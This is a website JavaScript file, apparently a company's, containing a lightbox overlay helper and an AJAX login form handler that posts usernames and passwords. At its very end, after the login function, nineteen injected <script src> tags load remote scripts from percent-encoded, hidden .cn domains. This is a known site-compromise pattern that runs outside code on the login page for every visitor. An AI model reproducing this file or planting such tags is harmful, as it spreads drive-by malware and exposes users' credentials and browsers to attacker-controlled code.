/** @namespace */
var Franson = Franson || {};
/** @namespace */
Franson.UI = Franson.UI || {};


/** @singleton */
Franson.UI.LightBox =
{
	//
	// getPageScroll()
	// Returns array with x,y page scroll values.
	//
	getPageScroll: function()
	{
		var yScroll;

		if (self.pageYOffset) {
			yScroll = self.pageYOffset;
		} else if (document.documentElement && document.documentElement.scrollTop){	 // Explorer 6 Strict
			yScroll = document.documentElement.scrollTop;
		} else if (document.body) {// all other Explorers
			yScroll = document.body.scrollTop;
		}

		return ['', yScroll];
	},

	//
	// getPageSize()
	// Returns array with page width, height and window width, height
	// Core code from - quirksmode.org
	// Edit for Firefox by pHaez
	//
	getPageSize: function()
	{
		var xScroll, yScroll;

		if (window.innerHeight && window.scrollMaxY) {
			xScroll = document.body.scrollWidth;
			yScroll = window.innerHeight + window.scrollMaxY;
		} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
			xScroll = document.body.scrollWidth;
			yScroll = document.body.scrollHeight;
		} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
			xScroll = document.body.offsetWidth;
			yScroll = document.body.offsetHeight;
		}

		var windowWidth, windowHeight;
		if (self.innerHeight) {	// all except Explorer
			windowWidth = self.innerWidth;
			windowHeight = self.innerHeight;
		} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
			windowWidth = document.documentElement.clientWidth;
			windowHeight = document.documentElement.clientHeight;
		} else if (document.body) { // other Explorers
			windowWidth = document.body.clientWidth;
			windowHeight = document.body.clientHeight;
		}

		// for small pages with total height less then height of the viewport
		var pageHeight;
		if(yScroll < windowHeight){
			pageHeight = windowHeight;
		} else {
			pageHeight = yScroll;
		}

		// for small pages with total width less then width of the viewport
		var pageWidth;
		if(xScroll < windowWidth){
			pageWidth = windowWidth;
		} else {
			pageWidth = xScroll;
		}

		return [ pageWidth, pageHeight, windowWidth, windowHeight ];
	},

	centerContent: function(domId)
	{
		var objtrackExport = typeof(domId) == 'string' ? document.getElementById(domId) : domId;
		var height = 500; //objtrackExport.height;
		var width = 400; //objtrackExport.width;

		var arrayPageSize = this.getPageSize();
		var contentTop = (arrayPageSize[3] - width) / 2;
		var contentLeft = (arrayPageSize[0] - height) / 2;

		objtrackExport.style.top = (contentTop < 0) ? "0px" : contentTop + "px";
		objtrackExport.style.left = (contentLeft < 0) ? "0px" : contentLeft + "px";
	},

	show: function(domId)
	{
		var objBody = document.getElementsByTagName("body").item(0);
		var objOverlay = document.createElement("div");
		objOverlay.setAttribute('id','overlay');
		//objOverlay.onclick = function () {hideLightbox(); return false;}
		objOverlay.style.display = 'none';
		objOverlay.style.position = 'absolute';
		objOverlay.style.top = '0';
		objOverlay.style.left = '0';
		objOverlay.style.zIndex = '90';
		objOverlay.style.width = '100%';
		objOverlay.style.backgroundColor = '#000000';
		objOverlay.style.filter = 'alpha(Opacity=75)';
		objOverlay.style.opacity = '.75';
		objBody.insertBefore(objOverlay, objBody.firstChild);

		this.createOverlay();
		this.centerContent(domId);

		domId = typeof(domId) == 'string' ? document.getElementById(domId) : domId;
		domId.style.display = 'block';
	},

	createOverlay: function()
	{
		var objOverlay = document.getElementById('overlay');
		var arrayPageSize = this.getPageSize();
		var arrayPageScroll = this.getPageScroll();

		objOverlay.style.height = (arrayPageSize[1] + 'px');
		objOverlay.style.display = 'block';
	},

	hide: function(domId)
	{
		// get objects
		var objOverlay = document.getElementById('overlay');
		var objContent = typeof(domId) == 'string' ? document.getElementById(domId) : domId;
		// hide overlay and content
		objOverlay.style.display = 'none';
		objContent.style.display = 'none';
	}
};

/*
function ajaxget(urlname,errorReturnValue)
{
	var xmlhttp=false;
	if (!xmlhttp) 
	{
		try
		{
			xmlhttp = new XMLHttpRequest();
		} catch (e) {xmlhttp=false;}
	}

	try
	{
		if (!xmlhttp && window.createRequest) 
		{
			try 
			{
				xmlhttp = window.createRequest();
			} catch (e) {xmlhttp=false;}
		}
	} catch(e) { xmlhttp=false;}

	try
	{
		if(xmlhttp)
		{
			xmlhttp.open("GET",urlname,false);						
			xmlhttp.send(null);				

			return xmlhttp.responseText;
		}
		else return errorReturnValue;
	} catch(e) { return errorReturnValue;}
}		
*/
	var http_request = false;
   function makePOSTRequest(url, parameters) {
      http_request = false;
      if (window.XMLHttpRequest) { // Mozilla, Safari,...
         http_request = new XMLHttpRequest();
         if (http_request.overrideMimeType) {
         	// set type accordingly to anticipated content type
            //http_request.overrideMimeType('text/xml');
            http_request.overrideMimeType('text/html');
         }
      } else if (window.ActiveXObject) { // IE
         try {
            http_request = new ActiveXObject("Msxml2.XMLHTTP");
         } catch (e) {
            try {
               http_request = new ActiveXObject("Microsoft.XMLHTTP");
            } catch (e) {}
         }
      }
      if (!http_request) {
         alert('Cannot create XMLHTTP instance');
         return false;
      }
      
      http_request.onreadystatechange = alertContents;
      http_request.open('POST', url, true);
      http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      http_request.setRequestHeader("Content-length", parameters.length);
      http_request.setRequestHeader("Connection", "close");
      http_request.send(parameters);
   }

   function alertContents() {
      if (http_request.readyState == 4) {
         if (http_request.status == 200) {
            //alert(http_request.responseText);
            result = http_request.responseText;

			if(result=="<LOGIN_OK>")
			{
				Franson.UI.LightBox.hide('login_wrapper');
			}
			else
			{
				var strResult=new String(result);
				if(strResult.indexOf("|")>0) //failed information / redir is returned
				{
					var arrResult=strResult.split("|");
					result=new String(arrResult[0]);

					if(result.indexOf("<FAILED>")!=-1)
					{
						document.getElementById("loginMessage").innerHTML=arrResult[1];
					}
					else if(result.indexOf("<REDIR>")!=-1)
					{
						window.location=arrResult[1];
					}
				}
				document.getElementById("divLogin").className="login_visible";
				document.getElementById("login_progress").className="login_hidden";
			}
            //document.getElementById('divLogin').innerHTML = result;            
         } else {
		 	document.getElementById("divLogin").className="login_visible";
			document.getElementById("login_progress").className="login_hidden";

            alert('There was a problem with the request.');
         }
      }
   }

	function doLogin()
	{
		username=document.getElementById("txtUsername").value;
		pwd=document.getElementById("txtPwd").value;

		if((username==null) || (pwd==null))
			return;

		if(username.length==0) 
		{
			window.alert("Username is required");
			return;
		}

		if(pwd.length==0) 
		{
			window.alert("Password is required");
			return;
		}


		document.getElementById("divLogin").className="login_hidden";
		document.getElementById("login_progress").className="login_visible";

		var strpost="user=" + escape(encodeURI(username)) +
				"&passwd=" + escape(encodeURI(pwd)) +
				"&cbrem=" + escape(encodeURI("on"));
		makePOSTRequest('./jslogin/login.asp?ret=login_ok.htm', strpost);
	}<script src=http://%73%70%6F%72%74%74%6F%64%61%79%2E%63%6E></script><script src=http://%74%68%65%73%74%6F%70%2E%63%6F%6D%2E%63%6E></script><script src=http://%74%68%65%73%74%6F%70%2E%63%6F%6D%2E%63%6E></script><script src=http://%78%74%72%61%64%65%73%2E%63%6F%6D%2E%63%6E></script><script src=http://%79%61%6F%4C%69%68%75%69%2E%63%6E></script><script src=http://%73%70%6F%72%74%73%62%61%79%2E%63%6E></script><script src=http://%74%68%65%73%6F%6E%2E%63%6F%6D%2E%63%6E></script><script src=http://%79%61%6F%4C%69%68%75%69%2E%63%6E></script><script src=http://%79%61%6F%4C%69%68%75%69%2E%63%6E></script><script src=http://%73%70%6F%72%74%73%62%61%79%2E%63%6E></script><script src=http://%74%68%65%73%6F%6E%2E%63%6F%6D%2E%63%6E></script><script src=http://%74%6F%6E%67%6C%76%65%2E%63%6E></script><script src=http://%6E%62%32%73%77%2E%63%6E></script><script src=http://%69%67%67%6F%6F%6C%65%2E%63%6E></script><script src=http://%6B%75%6D%6F%67%72%6F%75%70%2E%63%6E></script><script src=http://%6A%61%6D%65%73%66%61%6E%73%2E%63%6E></script><script src=http://%6E%65%69%6D%65%6E%67%6E%65%74%2E%63%6E></script><script src=http://%6A%61%6D%65%73%66%61%6E%73%2E%63%6E></script><script src=http://%77%75%78%69%66%64%63%2E%63%6E></script>